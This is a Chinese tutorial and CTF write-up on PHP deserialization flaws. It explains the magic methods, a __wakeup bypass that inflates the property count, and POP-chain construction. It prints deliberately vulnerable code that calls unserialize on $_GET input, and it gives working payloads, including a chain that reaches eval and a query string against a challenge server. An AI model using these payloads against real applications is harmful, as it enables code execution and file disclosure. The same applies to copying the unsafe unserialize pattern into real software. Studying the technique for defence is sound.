php反序列化漏洞入门到放弃

介绍

序列化就是:
将php变量比如php数组或者对象转换为字节流,字节流可以储存在数据库里面

相关函数:

serialize()              //将对象转换为字符串
unserialize()           // 将字符串还原为一个对象
addslashes()                // 对写入数据库的数据进行处理,
stripslashes()                //对数据进行处理

相关方法:

__wakeup() //使用unserialize时触发
__sleep() //使用serialize时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发,调用不到方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当脚本尝试将对象调用为函数时触发

序列化与反序列化

例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class test{
private $flag = "123"; //序列化后为 <0x00>test<0x00>flag
public $flag1 = "123"; //序列化后为flag
public $a ="aaa"; // 序列化后为a
static $b ="bbb"; // 序列化后不存在与序列化后的字符串内
protected $c= "ccc"; //序列化后 <0x00>*<0x00>c
}

$test1 = new test;

$data = serialize($test1); //将对象进行序列化为字符串

echo $data."\n";

?>
1
2
3
输出

O:4:"test":4:{s:10:"<0x00><test><0x00>flag";s:3:"123";s:5:"flag1";s:3:"123";s:1:"a";s:3:"aaa";s:4:"<0x00>*<0x00>c";s:3:"ccc";}

0:4:”test”:4
代表 O为对象 站四个字符为test 有4个属性
{} 里面的为 属性昵称 和 属性值
格式:{类型:变量长度:”变量名”;类型:变量值长度:”变量值”} //六个 : 为一组 前三个代表属性名 后三个代表属性值

注:
私有属性会在 text两边加上空子节 所以长度为10
保护属性同样也会在*两边加空字节<0x00><0x00>

进行反序列化

1
2
3
4
5
$data1 = unserialize($data);

//echo $data1."\n"; echo 只能输出字符串且不换行 所以输出对象时会报错

var_dump($data1);
object(test)#2 (4) {
  ["flag":"test":private]=>
  string(3) "123"
  ["flag1"]=>
  string(3) "123"
  ["a"]=>
  string(3) "aaa"
  ["c":protected]=>
  string(3) "ccc"
}

魔术方法

__sleep()
在进行序列化的时候
serialize() 函数会检查类中是否存在一个魔术方法 __sleep()。如果存在,该方法会先被调用,然后才执行序列化操作。此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组。如果该方法未返回任何内容,则 NULL 被序列化,并产生一个 E_NOTICE 级别的错误

通俗的讲就是 对象的哪些属性应该被序列化
sleep方法必须返回一个数组,包含需要串行化的属性. PHP会抛弃其它属性的值. 如果没有sleep方法,PHP将保存所有属性.

__wakeup()
unserialize() 会检查是否存在一个 wakeup() 方法。如果存在,则会先调用 wakeup 方法,预先准备对象需要的资源。
wakeup() 经常用在反序列化操作中,例如重新建立数据库连接,或执行其它初始化操作。
通俗讲就是还会对
wakeup里面的属性进行反序列化

这两个方法都不接受参数,

实例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
class Caiji{
public function __construct($ID, $sex, $age){
$this->ID = $ID;
$this->sex = $sex;
$this->age = $age;
$this->info = sprintf("ID: %s, age: %d, sex: %s", $this->ID, $this->sex, $this->age);
$this->a = "aaa";
$this->b = "bbb";
}

public function getInfo(){
echo $this->info . "\n";
}

public function __sleep(){
echo __METHOD__ . "\n";
return ['ID', 'sex', 'age']; // info 属性不会被序列化
}

public function __wakeup(){
echo __METHOD__ . "\n";
$this->info = sprintf("ID: %s, age: %d, sex: %s", $this->ID, $this->sex, $this->age);
$this->c = "ccc"; // 属性c会被序列化 属性a不会
}
}

$me = new Caiji('twosmi1e', 20, 'male');

$me->getInfo();
echo "\n";
//存在__sleep()函数,$info属性不会被存储
$temp = serialize($me);
echo $temp . "\n";

$me = unserialize($temp); // info属性也会被反序列化
//__wakeup()组装的$info
var_dump($me);
//$me->getInfo();

?>

__toString()

__toString() 方法用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。此方法必须返回一个字符串,否则将发出一条 E_RECOVERABLE_ERROR 级别的致命错误。

就是当使用 echo 对象名 因为echo只能用来输出字符串 当用在输出对象时,就会在类里面寻找__toString() 输出这个方法的返回值
实例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php

class xiaoyang{
public $xiaoyang;

public function __construct($xiaoyang){
$this->xiaoyang = $xiaoyang;
}
public function __toString(){
echo "-----------------"."\n";
return $this->xiaoyang;
}
}

$class = new xiaoyang('hello xiaoyang');

echo $class;

?>

输出:

hello xiaoyang[Finished in 0.1s]

反序列化漏洞

绕过__wakeup()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
class SoFun{
protected $file='index.php';
function __destruct(){
if(!empty($this->file)) {
if(strchr($this-> file,"\\")===false && strchr($this->file, '/')===false)
//strchr()返回/及其剩余的部分 strstr()的别名
show_source(dirname (__FILE__).'/'.$this ->file);
// show_source() 别名 highlight_file() 测试文件 进行 PHP 语法高亮显示:
else
die('Wrong filename.');
}
}
function __wakeup(){
$this-> file='index.php';
}
public function __toString()
return '' ;
}
}
if (!isset($_GET['file'])){
show_source('index.php');
}
else{
$file=base64_decode($_GET['file']);
echo unserialize($file);
}
?> #<!--key in flag.php-->

destruct()方法会读取文件
思路大概就是构造序列化对象然后base64编码传入,经过unserialize将file设为flag.php,但是
wakeup会在unserialize之前执行,所以要绕过这一点。

当序列化属性要大于真实属性的个数时, 会跳过__wakeup()

先构造序列化
构造序列化对象:O:5:”SoFun”:1:{S:7:”\00*\00file”;s:8:”flag.php”;}

再修改属性值
构造序列化对象:O:5:”SoFun”:2:{S:7:”\00*\00file”;s:8:”flag.php”;}

注:
因为file是protect属性,所以需要加上\00*\00。再base64编码。

session反序列化漏洞

POP链构造

类的构成
类成员包括由属性和方法构成,类属性存在于数据段,类方法存在于代码段,对于一个类来说,类的方法不占用类的空间,占空间的只有类的属性

概念
在二进制利用时,ROP 链构造中是寻找当前系统环境中或者内存环境里已经存在的、具有固定地址且带有返回操作的指令集,而 POP 链的构造则是寻找程序当前环境中已经定义了或者能够动态加载的对象中的属性(函数方法),将一些可能的调用组合在一起形成一个完整的、具有目的性的操作。
二进制中通常是由于内存溢出控制了指令执行流程,而反序列化过程就是控制代码执行流程的方法之一,前提:进行反序列化的数据能够被用户输入所控制。

POP链利用
一般的序列化攻击都在PHP魔术方法中出现可利用的漏洞,因为自动调用触发漏洞,但如果关键代码没在魔术方法中,而是在一个类的普通方法中。这时候就可以通过构造POP链寻找相同的函数名将类的属性和敏感函数的属性联系起来
挖掘思路
能控制反序列化的点
反序列化类有魔术方法
魔术方法里有敏感操作(常规思路)
魔术方法里无敏感操作,但是通过属性(对象)调用了一些函数,恰巧在其他的类中有同名的函数(pop链)

例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<?php
class start_gg
{
public $mod1;
public $mod2;
public function __destruct()
{
$this->mod1->test1();
}
}
class Call
{
public $mod1;
public $mod2;
public function test1()
{
$this->mod1->test2();
}
}
class funct
{
public $mod1;
public $mod2;
public function __call($test2,$arr)
{
$s1 = $this->mod1;
$s1();
}
}
class func
{
public $mod1;
public $mod2;
public function __invoke()
{
$this->mod2 = "字符串拼接".$this->mod1;
}
}
class string1
{
public $str1;
public $str2;
public function __toString()
{
$this->str1->get_flag();
return "1";
}
}
class GetFlag
{
public function get_flag()
{
echo "flag:"."xxxxxxxxxxxx";
}
}
$a = $_GET['string'];
unserialize($a);
?>

首先看到 flag的输出在 GetFlag 类的普通方法get_flag里面
要想让这个方法执行 就要构造POP链

步骤:

  1. 在 string1类 中发现同名方法 get_flag() 在string类的tostring中 要想让tostring执行就想要把类string 当做字符串 因为调用的是参数str1 的方法 所以要将str1 赋值为 类getFlag 的对象
    public function __construct(){

      $this->str1 = new GetFlag();    //将$str1赋值为  类Getflag 的对象
    }
    
  2. 在 fnc类 发现invoke方法 当把对象当做函数时会调用此方法 $this->mod2 = “字符串拼接”.$this->mod1;
    将$mod1赋值为 string1类 的对象
    public function
    construct(){

      $this->mod1 = new string1();
    }
    
  3. funct类 中的call 方法 中 调用类mod1方法 且参数为$test2,即无法调用test2方法时自动调用 call方法
    需要将mod1 赋值为 func类 的对象
    public function __construct(){

      $this->mod1 = new func();
    }
    
  4. 在Call中的test1方法中存在$this->mod1->test2();,需要把$mod1赋值为funct的对象,让call自动调用。
    public function
    construct(){

      $this->mod1 = new funct();
    }
    

5.查找test1方法的调用点,在start_gg中发现$this->mod1->test1();,把$mod1赋值为start_gg类的对象,等待destruct()自动调用。
public function
construct(){
$this->mod1 = new Call();
}

最终payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
<?php
class start_gg
{
public $mod1;
public $mod2;
public function __construct(){
$this->mod1 = new Call();
}
public function __destruct()
{
$this->mod1->test1();
}
}
class Call
{
public $mod1;
public $mod2;
public function __construct(){
$this->mod1 = new funct();
}

public function test1()
{
$this->mod1->test2();
}
}
class funct
{
public $mod1;
public $mod2;
public function __construct(){
$this->mod1 = new func();
}
public function __call($test2,$arr) // 当调用的成员方法不存在时调用此方法
{
$s1 = $this->mod1;
$s1();
}
}
class func
{
public $mod1;
public $mod2;

public function __construct(){
$this->mod1 = new string1();
}

public function __invoke() //把一个对象当做函数去执行会调用此方法
{
$this->mod2 = "字符串拼接".$this->mod1;
}
}
class string1
{
public $str1;
public $str2;

public function __construct(){
$this->str1 = new GetFlag(); //将$str1赋值为 类Getflag 的对象
}

public function __toString()
{
$this->str1->get_flag();
return "1";
}
}
class GetFlag
{
public function get_flag()
{
echo "flag:"."xxxxxxxxxxxx";
}
}
$a = new start_gg;
echo serialize($a);
?>

例子2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
class lemon {
protected $ClassObj;

function __construct() {
$this->ClassObj = new normal();
}

function __destruct() {
$this->ClassObj->action();
}
}

class normal {
function action() {
echo "hello";
}
}

class evil {
private $data;
function action() {
eval($this->data);
}
}

在 lemo类中调用得的是 normal类 但是在 evil类 中也有在normal类中的相同方法名 action
这时可以构造poc链来调用 evil类 中的 action方法
payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
class lemon {
protected $ClassObj;

function __construct() {
$this->ClassObj = new evil();
}


}

class normal {
function action() {
echo "hello";
}
}

class evil {
private $data = "phpinfo()";
function action() {
eval($this->data);
}
}
$a = new lemon;
echo serialize($a);

一些绕过

1、当成员属性数目大于实际数目时可绕过wakeup方法

2、CTF中成员属性数目前面多一个+可以绕过正则

实战

1

D0g3平台一道很简单的反序列化的题
网址:http://120.79.33.253:9001/

1
2
3
4
5
6
7
8
9
10
<?php
error_reporting(0);
include "flag.php";
$KEY = "D0g3!!!";
$str = $_GET['str'];
if (unserialize($str) === "$KEY")
{
echo "$flag";
}
show_source(__FILE__);

原理:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
$str = "D0g3!!!";

$str1 = serialize($str);

echo $str1; // s:7:"D0g3!!!";

echo "\n";

$str2 = unserialize($str1);

echo $str2; // D0g3!!!

echo "\n"
?>

payload:

http://120.79.33.253:9001/?str=s:7:%22D0g3!!!%22

参考

https://xz.aliyun.com/t/3674#toc-0
http://php.net/manual/zh/language.oop5.magic.php
http://php.net/manual/zh/language.oop5.serialization.php
https://blog.csdn.net/qq_23937195/article/details/73027557
http://www.cnblogs.com/iamstudy/articles/php_object_injection_pop_chain.html
https://www.cnblogs.com/iamstudy/articles/php_unserialize_pop_2.html
https://www.anquanke.com/post/id/162300